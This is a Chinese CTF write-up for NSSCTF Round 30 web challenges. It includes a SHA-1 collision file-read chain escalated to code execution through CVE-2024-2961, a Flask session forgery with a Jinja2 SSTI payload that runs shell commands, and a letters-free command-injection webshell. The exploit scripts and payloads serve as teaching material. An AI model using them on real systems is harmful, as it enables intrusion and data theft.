NSS#Round30 Web

小桃的PHP挑戰

<?php
include 'jeer.php';
highlight_file(__FILE__);
error_reporting(0);
$A = 0;
$B = 0;
$C = 0;//第一關
if (isset($_GET['one'])){$str = $_GET['str'] ?? '0';$add = substr($str, 0, 1); $add++;if (strlen($add) > 1 ) {$A = 1;} else {echo $one;
}
} else {echo $begin;
}//第二關
if (isset($_GET['two'])){$comment = $_GET['comment'] ?? 'echo(114514)';if (!preg_match('/(|;| |\$|~|\#|`|\'|\"|\*|?|<|>|\r|\n|\^)/i', $comment) && strlen($comment) < 20) {try{eval('$B = 1;'.$comment.';echo $two;die();');}catch (Error $e){echo $boom;}}
}//第三關
if (isset($_GET['three'])){if (isset($_POST['one'])&&isset($_POST['two'])){$a1=(string)$_POST['one'];$a2=(string)$_POST['two'];if ($a1 !== $a2 && sha1($a1) === sha1($a2)){$C = 1;} else {echo $three;}}
}if ($A == 1 && $B == 1 && $C == 1){echo file_get_contents($_POST['file']);
}
?>

第一關
當輸入的字符為z, ++自增之后會發現變成了aa, 長度就變成了2, 滿足條件

第二關

已經給$B賦值為1了, 只需要注釋掉后面的內容不讓它執行就行

php里面除了#之外還有__HALT_COMPILER()可以中斷掉后面代碼的運行

comment=__halt_compiler() (這里給個phpinfo()也可以運行, 要是沒有刪除環境里面的變量說不定可以拿到, 不過這里是不行了,不知道有沒有其他的方法在這里rce)

第三關

sha1的強比較繞過, 網上可以直接找現成的

one=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1&two=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%B6%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%3D%E2%18%F8m%B3%A9%09%01%D5%DFE%C1O%26%FE%DF%B3%DC8%E9j%C2/%E7%BDr%8F%0EE%BC%E0F%D2%3CW%0F%EB%14%13%98%BBU.%F5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC%0D%EC%C1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%D0k%D0%AF%3F%98%CD%A4%BCF%29%B1

到這里就可以實現任意文件讀取了, 但是不知道為什么用hackbar, 還是burpsuite 還是yakit都無法看到文件讀取的內容(本地搭建環境是可以的), 還得是用python來進行請求

import requestssession = requests.Session()
url='http://node6.anna.nssctf.cn:28172/'one = "%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1"
two = "%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%B6%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%3D%E2%18%F8m%B3%A9%09%01%D5%DFE%C1O%26%FE%DF%B3%DC8%E9j%C2/%E7%BDr%8F%0EE%BC%E0F%D2%3CW%0F%EB%14%13%98%BBU.%F5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC%0D%EC%C1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%D0k%D0%AF%3F%98%CD%A4%BCF%29%B1"
payload = "one=" + one + "&two=" + twores=session.post(url=f'{url}+?str=z&one=1&two=2&comment=__halt_compiler()&three=3',data=payload+'&file=/etc/passwd',headers={'Content-Type':'application/x-www-form-urlencoded'})print(res.text)

在這里插入圖片描述

但是現在不知道flag的文件名, 所以需要利用到 CVE-2024-2961 將文件讀取提升為rce

利用現成的exp, 主要修改senddownload函數

    def send(self, path: str) -> Response:"""Sends given `path` to the HTTP server. Returns the response."""one = "%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1"two = "%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%B6%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%3D%E2%18%F8m%B3%A9%09%01%D5%DFE%C1O%26%FE%DF%B3%DC8%E9j%C2/%E7%BDr%8F%0EE%BC%E0F%D2%3CW%0F%EB%14%13%98%BBU.%F5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC%0D%EC%C1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%D0k%D0%AF%3F%98%CD%A4%BCF%29%B1"payload = "one=" + one + "&two=" + twoheaders={'Content-Type':'application/x-www-form-urlencoded'}return self.session.post(url=f'{self.url}+?str=z&one=1&two=2&comment=__halt_compiler()&three=3',data=payload+f'&file={path}',headers=headers)def download(self, path: str) -> bytes:"""Returns the contents of a remote file."""path = f"php://filter/convert.base64-encode/resource={path}"response = self.send(path)data = response.re.search(b"</code>(.*)", flags=re.S).group(1)return base64.decode(data)

在這里插入圖片描述

一直是利用失敗的狀況

參考了一下官方wp, 對path做了一個quote()編碼發現就可以利用成功了, 可能中間會存在一些誤解析

path = quote(path)
    from urllib.parse import quotedef send(self, path: str) -> Response:"""Sends given `path` to the HTTP server. Returns the response."""one = "%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1"two = "%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%B6%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%3D%E2%18%F8m%B3%A9%09%01%D5%DFE%C1O%26%FE%DF%B3%DC8%E9j%C2/%E7%BDr%8F%0EE%BC%E0F%D2%3CW%0F%EB%14%13%98%BBU.%F5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC%0D%EC%C1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%D0k%D0%AF%3F%98%CD%A4%BCF%29%B1"payload = "one=" + one + "&two=" + twoheaders={'Content-Type':'application/x-www-form-urlencoded'}path = quote(path)return self.session.post(url=f'{self.url}+?str=z&one=1&two=2&comment=__halt_compiler()&three=3',data=payload+f'&file={path}',headers=headers)def download(self, path: str) -> bytes:"""Returns the contents of a remote file."""path = f"php://filter/convert.base64-encode/resource={path}"response = self.send(path)data = response.re.search(b"</code>(.*)", flags=re.S).group(1)return base64.decode(data)

在這里插入圖片描述

在這個路徑找到flag /1/1/4/5/1/4/flag

在這里插入圖片描述

hack_the_world!

from flask import Flask, request, render_template,render_template_string, url_for, session
import time
import osapp = Flask(__name__)
app.secret_key = 'NSS'
FILTER_KEYWORDS = ['Ciallo~(∠?ω <)⌒★']
def contains_forbidden_keywords(complaint):for keyword in FILTER_KEYWORDS:if keyword.lower() in complaint:return Truereturn False
@app.route('/', methods=['GET', 'POST'])
def index():session['user'] = 'Gamer'return render_template('index.html')@app.route('/hack', methods=['GET', 'POST'])
def hack():if session.get('user') != 'hacker':return render_template('die.html',user=session.get('user'))if (abc:=request.headers.get('User-Agent')) is None:return render_template('fobidden.html')cmd = request.form.get('cmd','noting')if (answer:=request.args.get('answer')) == 'hack_you':if contains_forbidden_keywords(cmd):return render_template('forbidden.html')else:render_template_string(f'{cmd}',cmd=cmd)css_url = url_for('static', filename='style.css')js_url = url_for('static', filename='script.js')return render_template_string(f'''<!DOCTYPE html><html lang="zh"><head><meta charset="UTF-8">  <meta name="viewport" content="width=device-width, initial-scale=1.0"><title>fake world</title><link rel="stylesheet" href="{css_url}"><!-- No ping No curl No nc , little hacker blind no way--></head><body><canvas class="matrix"></canvas><div class="bg-animation"></div><div class="container"><h1>So, what are you trying to do</h1><p>Just quit, little hacker. There’s nothing for you here.</p></div><script src="{js_url}"></script></body></html>''', css_url=css_url,js_url=js_url)

首先需要先偽造用戶為hacker, 源碼里也給了密鑰

先解密看看格式, 再依照格式進行偽造

在這里插入圖片描述

eyJ1c2VyIjoiaGFja2VyIn0.Z_PTjQ.mlUJFdi9CQS-mPvH9nbj80oTJAg

源碼里面沒有給過濾的黑名單, 需要自己去fuzz一下

響應為2925的就表示是禁止的

['_' , '.' , '/', '%', 'read', 'mro']

在這里插入圖片描述

本來想基于這個黑名單的過濾, 本地部署一下讓fenjing跑一下來著, 但是一直沒跑出來 …

https://www.nssctf.cn/note/set/12058
給了個腳本, 確實一下就跑出來了payload

import fenjing
import logginglogging.basicConfig(level=logging.INFO)def waf(s: str):  # 如果字符串s可以通過waf則返回True, 否則返回Falseblacklist = ["_", "mro", "read", "/", "]", ".", "%"]return all(word not in s for word in blacklist)if __name__ == "__main__":cmd = "cat /flag > /app/static/flag.html"full_payload_gen = fenjing.FullPayloadGen(waf)shell_payload, _ = fenjing.exec_cmd_payload(waf, cmd)  # 執行系統命令# config_payload = fenjing.config_payload(waf) #查看config文件# eval_payload, _ = full_payload_gen.generate(#    fenjing.const.EVAL, (fenjing.const.STRING, cmd)# )  # 執行python命令print(f"{shell_payload=}")# print(f"{eval_payload=}")if not _:print("這個payload不會產生回顯")
給的payload:
%7B%7Blipsum%7Cattr%28lipsum%7Cescape%7Cbatch%2822%29%7Clist%7Cfirst%7Clast%2Blipsum%7Cescape%7Cbatch%2822%29%7Clist%7Cfirst%7Clast%2B%27globals%27%2Blipsum%7Cescape%7Cbatch%2822%29%7Clist%7Cfirst%7Clast%2Blipsum%7Cescape%7Cbatch%2822%29%7Clist%7Cfirst%7Clast%29%7Cattr%28%27get%27%29%28lipsum%7Cescape%7Cbatch%2822%29%7Clist%7Cfirst%7Clast%2Blipsum%7Cescape%7Cbatch%2822%29%7Clist%7Cfirst%7Clast%2B%27builtins%27%2Blipsum%7Cescape%7Cbatch%2822%29%7Clist%7Cfirst%7Clast%2Blipsum%7Cescape%7Cbatch%2822%29%7Clist%7Cfirst%7Clast%29%7Cattr%28%27get%27%29%28lipsum%7Cescape%7Cbatch%2822%29%7Clist%7Cfirst%7Clast%2Blipsum%7Cescape%7Cbatch%2822%29%7Clist%7Cfirst%7Clast%2B%27import%27%2Blipsum%7Cescape%7Cbatch%2822%29%7Clist%7Cfirst%7Clast%2Blipsum%7Cescape%7Cbatch%2822%29%7Clist%7Cfirst%7Clast%29%28%27os%27%29%7Cattr%28%27popen%27%29%28%22%5Cx63%5Cx61%5Cx74%5Cx20%5Cx2f%5Cx66%5Cx6c%5Cx61%5Cx67%5Cx20%5Cx3e%5Cx20%5Cx2f%5Cx61%5Cx70%5Cx70%5Cx2f%5Cx73%5Cx74%5Cx61%5Cx74%5Cx69%5Cx63%5Cx2f%5Cx66%5Cx6c%5Cx61%5Cx67%5Cx2e%5Cx68%5Cx74%5Cx6d%5Cx6c%22%29%7Cattr%28%27r%27%27ead%27%29%28%29%7D%7D

有點奇怪的就是不知道為啥我跑出來的payload服務器一運行就會報500錯誤 (url編碼了)

你是誰的菜鳥,又是誰的佬大

F12可以看到代碼

        <!--$NSS = $_GET['NSS']; if (!preg_match('/([A-Z]|;| |\$|~|\#|\(|\^)/i', $NSS)) {exec($NSS);} else {echo $Narration;  -->

exec執行的命令, 且過濾了所有的字母以及一些字符

無字母webshell的打法,

https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html
  • shell下可以利用.來執行任意腳本 (類似于source)

  • Linux文件名支持用glob通配符代替

通過上傳一個文件, PHP會將我們上傳的文件保存在臨時文件夾下,默認的文件名是/tmp/phpXXXXXX,文件名最后6個字符是隨機的大小寫字母。

自己寫一個上傳的表單, 隨便上傳一個, 然后抓包

<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>upload</title>
</head>
<body>
<form action="http://node1.anna.nssctf.cn:28647/?NSS=" method="post" enctype="multipart/form-data"><label for="file">Choose file:</label><input  type="file" id="file" name="file"><br><br><input type="submit" value="Upload">
</form>
</body>
</html>

改一下文件的內容就行, 多發幾次包

?NSS=.%09/???/????????[@-[]

在這里插入圖片描述

在這里插入圖片描述

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/web/75366.shtml
繁體地址,請注明出處:http://hk.pswp.cn/web/75366.shtml
英文地址,請注明出處:http://en.pswp.cn/web/75366.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

MCP基礎學習二:MCP服務搭建與配置

文章目錄 MCP服務搭建與配置一&#xff0c;學習目標&#xff1a;二&#xff0c;學習內容&#xff1a;1. 如何搭建MCP服務端服務端初始化與配置MCP服務架構與數據流交互圖核心實現注冊服務功能服務器啟動與API暴露 2. 本地應用與MCP服務的集成客戶端SDK實現客戶端應用實現功能演…

ZKmall開源商城服務端驗證:Jakarta Validation 詳解

ZKmall開源商城基于Spring Boot 3構建&#xff0c;其服務端數據驗證采用Jakarta Validation API?&#xff08;原JSR 380規范&#xff09;&#xff0c;通過聲明式注解與自定義擴展機制實現高效、靈活的數據校驗體系。以下從技術實現、核心能力、場景優化三個維度展開解析&#…

使用Docker創建postgres

準備工作&#xff1a; 1. 檢查網絡 檢查網絡連接&#xff1a;確保你的服務器網絡連接正常&#xff0c;可嘗試使用 ping 命令測試與 Docker Hub 服務器&#xff08;如 ping registry-1.docker.io&#xff09;的連通性。 ping registry-1.docker.io 檢查防火墻&#xff1a;確…

32 python json

在辦公室忙碌的日常里,我們經常需要和各種數據打交道。想象一下,你是辦公室里負責處理員工信息、項目數據的 “數據小管家”,每天都要面對大量格式各異的數據。 這時候,JSON(JavaScript Object Notation)就像是你得力的數據助手,它是一種輕量級的數據交換格式,簡單又高…

Java 實現 List<String> 與 String 互轉

在 Java 開發過程中&#xff0c;有時需要將 List<String> 轉為 String 存儲&#xff0c;后續使用時再還原回去。此時就需要 Java 實現 List<String> 與 String 互轉。以下是一種互轉方式。 采用如下工具包實現。 <dependency><groupId>org.apache.com…

NO.87十六屆藍橋杯備戰|動態規劃-完全背包|瘋狂的采藥|Buying Hay|紀念品(C++)

完全背包 先解決第?問 狀態表?&#xff1a; dp[i][j]表?&#xff1a;從前i個物品中挑選&#xff0c;總體積不超過j&#xff0c;所有的選法中&#xff0c;能挑選出來的最?價 值。&#xff08;這?是和01背包?樣噠&#xff09; 那我們的最終結果就是dp[n][V] 。狀態轉移?…

第十三天 - Ansible基礎架構 - YAML語法與Playbook - 練習:批量配置部署

Ansible自動化運維實戰&#xff1a;從入門到批量配置部署 前言&#xff1a;自動化運維的時代選擇 在服務器規模呈指數級增長的今天&#xff0c;手工操作已無法滿足運維需求。本文將手把手教你使用Ansible這個明星級自動化工具&#xff0c;通過YAML語法和Playbook實現批量配置…

Redis的過期和內存淘汰策略

文章目錄 惰性刪除定期刪除內存滿了&#xff0c;數據淘汰策略 Redis 提供了兩種刪除策略&#xff1a; 惰性刪除 、定期刪除 惰性刪除 定期刪除 兩種清除模式: 內存滿了&#xff0c;數據淘汰策略 Redis 提供了八種數據淘汰策略&#xff1a; 1. 默認是不淘汰任何的 key&#x…

用PHPExcel 封裝的導出方法,支持導出無限列

用PHPExcel 封裝的導出方法&#xff0c;支持導出無限列 避免PHPExcel_Exception Invalid cell coordinate [1 異常錯誤 /*** EXCEL導出* param [string] $file_name 保存的文件名及表格工作區名&#xff0c;不加excel后綴名* param [array] $fields 二維數組* param [array] $…

WHAT - React 元素接收的 ref 詳解

目錄 1. ref 的基本概念2. 如何使用 ref2.1 基本用法2.2 類組件使用 createRef 3. forwardRef 轉發 ref4. ref 的應用場景5. ref 和函數組件總結 在 React 中&#xff0c;ref&#xff08;引用&#xff09;用于訪問 DOM 元素或類組件實例。它允許我們直接與元素進行交互&#xf…

【QT】QT的消息盒子和對話框(自定義對話框)

QT的消息盒子和對話框&#xff08;自定義對話框&#xff09; 一、消息盒子QMessageBox1、彈出警告盒子示例代碼&#xff1a;現象&#xff1a; 2、致命錯誤盒子示例代碼&#xff1a;現象&#xff1a; 3、幫助盒子示例代碼&#xff1a;現象&#xff1a; 4、示例代碼&#xff1a; …

依靠視頻設備軌跡回放平臺EasyCVR構建視頻監控,為幼教連鎖園區安全護航

一、項目背景 幼教行業連鎖化發展態勢越發明顯。在此趨勢下&#xff0c;幼兒園管理者對于深入了解園內日常教學與生活情況的需求愈發緊迫&#xff0c;將這些數據作為提升管理水平、優化教育服務的重要依據。同時&#xff0c;安裝監控系統不僅有效緩解家長對孩子在校安全與生活…

Stable Diffusion+Pyqt5: 實現圖像生成與管理界面(帶保存 + 歷史記錄 + 刪除功能)——我的實驗記錄(結尾附系統效果圖)

目錄 &#x1f9e0; 前言 &#x1f9fe; 我的需求 &#x1f527; 實現過程&#xff08;按功能一步步來&#xff09; &#x1f6b6;?♂? Step 1&#xff1a;基本圖像生成界面 &#x1f5c3;? Step 2&#xff1a;保存圖片并顯示歷史記錄 &#x1f4cf; Step 3&#xff1a…

量子計算未來的潛力和挑戰

據麥肯錫預測&#xff0c;到 2035 年或 2040 年&#xff0c;量子計算市場規模可能增長至約 800 億美元。目前&#xff0c;許多量子比特技術正競相成為首臺通用、無差錯量子計算機的基礎&#xff0c;但仍面臨諸多挑戰。 我們將探討量子計算的未來前景、潛力&#xff0c;以及它對…

ArcGIS 給大面內小面字段賦值

文章目錄 引言:地理數據處理中的自動化賦值為何重要?實現思路模型實現關鍵點效果實現步驟1、準備數據2、執行3、完成4、效果引言:地理數據處理中的自動化賦值為何重要? 在地理信息系統(GIS)的日常工作中,空間數據的屬性字段賦值是高頻且關鍵的操作,例如在土地利用規劃…

如何打通虛擬化-容器環境并保障流量安全?SmartX VCCI 方案升級!

為了提升資源利用率、交付效率和業務靈活性&#xff0c;不少企業用戶都在推進從傳統架構向云原生架構的演進&#xff0c;并采用虛擬機與容器共存的混合模式支持多種業務系統。由于兩個環境在業務交互層面形成高度耦合&#xff0c;企業需要具備簡單、高效方案&#xff0c;實現虛…

stable diffusion 量化加速點

文章目錄 一、導出為dynamic shape1)函數講解(函數導出、輸出檢查)2)代碼展示二、導出為static shape1)函數講解(略)2)代碼展示三、序列化為FP32測速1)測速2)代碼四、序列化為FP16測速1)測速2)代碼同上五、發現并解決解決CLIP FP16溢出,并測速1)如何找到溢出的算子…

7-openwrt-one通過web頁面配置訪客網絡、無線中繼等功能

前幾個章節一直在介紹編譯、分區之類的,都還沒正常開始使用這個路由器的wifi。默認wifi是沒有啟動的,前面還是通過手動修改uci配置啟動的,這個章節介紹下官方web頁面的使用。特別是訪客網絡、無線中繼 1、開啟wifi,配置wifi基本信息 我們使用有線連接路由器,通過192.168.…

AcWing 6099. 座位

原題目鏈接 問題描述 有 n 頭奶牛&#xff08;n ≥ 5&#xff09;&#xff0c;編號為 1 ~ n&#xff0c;按照某種順序圍著一張圓桌坐成一圈。 奶牛之間存在如下的朋友關系&#xff1a; 如果兩頭奶牛相鄰&#xff0c;則它們是朋友&#xff1b;如果兩頭奶牛之間只隔著一頭奶…

44、Spring Boot 詳細講義(一)

Spring Boot 詳細講義 目錄 Spring Boot 簡介Spring Boot 快速入門Spring Boot 核心功能Spring Boot 技術棧與集成Spring Boot 高級主題Spring Boot 項目實戰Spring Boot 最佳實踐總結 一、Spring Boot 簡介 1. Spring Boot 概念和核心特點 1.1、什么是 Spring Boot&#…